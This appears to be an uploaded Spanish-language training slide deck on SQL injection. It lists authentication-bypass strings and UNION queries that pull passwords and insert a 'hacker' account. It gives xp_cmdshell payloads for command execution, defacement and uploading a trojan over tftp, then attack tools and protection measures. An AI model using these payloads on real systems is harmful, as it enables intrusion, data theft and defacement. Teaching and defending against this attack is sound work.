Date post: | 02-Jul-2015 |
Category: |
Documents |
Upload: | juan-d-diaz |
View: | 459 times |
Download: | 3 times |
SQL INJECTION
JORGE MARIO RODRIGUEZ
CISSP – CISM - CHFI
QUE ES SQL INJECTION
• Es el uso de comandos SQL para poder alterar la información, ganar acceso o crear negaciones de servicio mediante la ejecución de estos comandos a través de páginas Webs.
• Este tipo de ataque aprovecha las falencias de programación que no validan las entradas realizadas por los usuarios a nivel de URL o Formularios.
SQL INJECTION
• USOS.
- Acceso remoto.
- Negación de servicio.
- Manipulación de Base de datos.
PASOS
• Buscar en la página WEB datos de entrada. (Páginas de login, formularios, etc).
• Identificar páginas HTML que usen POST y GET.
• Revisar código fuente.• Busque por páginas con extensiones ASP, JSP,
CGI o PHP.• Busque URLs que permitan el uso de variables
como por Ejm. http://www.ejemplo.com/index.php?lang=Es
TECNICAS DE ATAQUE EN SQL INJECTION
• Sobrepaso de autorización.
Es usada para sobrepasar controles de autorización y ganar acceso.
• Usando el comando SELECT.
Es usada para conseguir información de las bases de datos.
• Usando el comando INSERT. Usada para alterar el contenido de una base de datos.
• Usando procedimientos almacenados de SQL.
Formas de probar vulnerabilidades SQL Injection
• xxx´ or 1=1--• Login:xxx´or 1=1--• Password: xxx´or 1=1--• http://www.ejemplo.com/jm.asp?user=xxx´ or 1=1--
Se deben usar múltiples opciones considerando las siguientes posibilidades:
´ or 1=1-- “ or 1=1-- ´ or ‘a’=‘a “ or “a” =“a ‘) 0r (´a`=´a)
COMO FUNCIONA
• Query original.
• Query Alterado.
USO DE PROCEDIMIENTOS ALMACENADOSmaster..xp_cmdshell
• Ejecución de comandos. xxx`;exec master..xp_cmdshell “comado” --• Ping. xxx`;exec master..xp_cmdshell “ping 10.1.1.3” --• Listar directorios. xxx`;exec master..xp_cmdshell “dir c:\*.* /s > c:\directorios.txt” --• Crear archivo xxx`;exec master..xp_cmdshell “echo Fuiste-hackeado > c::\hack.txt” --• Defacement. xxx`exec master..xp_cmdshell “echo Este-es-el-peor-web-site > c:\
inetpub\www.root\index.htm” --• Ejecutar una aplicación (no gráfica) xxx`;exec master..xp_cmdshell “cmd.exe /c aplicación.exe” --
USO DE PROCEDIMIENTOS ALMACENADOSmaster..xp_cmdshell
• Cargue de un troyano al servidor
xxx`;exec master..xp_cmdshell “tftp -i 10.0.2.3 GET troyano.exe c:\toyano.exe” --
• Descarga de un archivo del servidor
xxx`;exec master..xp_cmdshell “tftp -i 10.0.2.3 put c:\windows\sytem32\calc.exe calc.exe” --
USO DE PROCEDIMIENTOS ALMACENADOSmaster..sp_makewebtask
• Exportar una tabla a una carpeta compartida del atacante
xxx’;exec master..sp_makewebtask \\192.168.9.2\compartido\claves.html”,”SELECT * FROM USUARIOS”
SQL INJECTION
• Obteniendo nombres de columnas de una tabla http://www.ejemplo.com/page.asp?dato=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘usuarios’ --
• Obteniendo informacion detallada de usuarios. http://www.ejemplo.com/page.asp?dato=10 UNION SELECT TOP 1 password FROM
usuarios where login=´pedro` --
• Actualizando un dato. http://www.ejemplo.com/page.asp?dato=10; UPDATE ´usuarios` SET ´password`=
´newpass` WHERE login=´pedro` --
• Insertando un dato. http://www.ejemplo.com/page.asp?dato=10; INSERT INTO´usuarios` (´login`,
´nombre`, ´password`) VALUES (´hacker`, ´xxxxx`, ´newpass`) --
SQL INJECTION TOOLS
• SQLDict Herramienta de ataque de diccionario para servidores SQL.
• SqlExec Ejecuta comandos en el servidor SQl usando el procedimiento almacenado xp_cmdshell. Usa una clave NULL para el usuario “sa”.
• SQLSmack Basada en Linux, permite la ejecución de comandos, conociendo el usuario y clave de ¨sa¨ mediante el uso del procedimiento almacenado master..xp_cmdshell
SQL INJECTION TOOLS
• sqlmap Herramienta desarrollada en phython que tiene funcionalidades de enumeracion.• Sqlninja Herramienta que explota las vulnerabilidades SQL entre las que se destacan: - Enumeración. - Ataque de fuerza Bruta al password de “sa”. - Escalación deprivilegios a “sa”. - Crea su propio xp_cmdshell si el original ha sido deshabilitado. - Sube ejecutables. - Usa shell de conexión inversa y directa.• SQLIer Solo se le da la URL vulnerable e intenta explotarla sin interacción del
usuario,tambien realiza crack de contraseñas, una contraseña de 8 caracteres puede tomar cerca de un mínuto.
• Automagic SQL Injector Diseñada para pruebas de penetración. Algunas de sus caracteristicas son:
- Busca tablas y exporta los datos a archivos cvs. - Sube archivos al servidor. - Usa shell reverso. - Usa xp_cmdshell emulando al cmd.exe• Absinthe Herramienta con entorno gráfico, permite descargar el esquema y contenido de las
base de datos. Algunas de sus caracteristicas son: - Inyección automática de parametros SQL. - Soporte para multiples motores de DBs - Uso de proxies. - manejo de headers HTTP y Cookies.
Blind SQL Injection
Metodo usado para atacar y ganar acceso al servidor de base de datos mediante un programa tipo cliente y así ejecutar comandos SQL directamente sobre el servidor, permitiendo modificar, adicionar o eliminar información de la DB.
MEDIDAS DE PROTECCION
• Separación del servidor de Aplicaciones del servido de DB.
• Todos los requerimientos solicitados por la aplicación deben estar en procedimientos almacenados.
• La ejecución de procedimientos almacenados se debe hacer por medio de interfases seguras como JDBC o ADO.
• Los procedimientos almacenados deben ser compilados antes de que la entrada de un usuario sea aceptada, haciendo imposible que la entrada del usuario modifique el query SQL.
MEDIDAS DE PROTECCION• Uso de reglas a nivel de IDS que detecten expresiones de SQL
injection.• Minimice los privilegios de conexión a la DB.• Realice hardening de la cuenta “sa”• Audite código fuente.• Valide las entradas en los campos de texto.• No use SQL dinámico, trate de usar consultas parametrizadas o
procedimientos almacenados.• No almacene información sensible en texto claro.• Use errores personalizados y evite revelar datos sensibles cuando
ocurre un error.• Use herramientas de monitoreo como SQLBlock.• Realice pruebas de vulnerabilidad con herramientas que se
especializadas en SQL injection (Acunetix)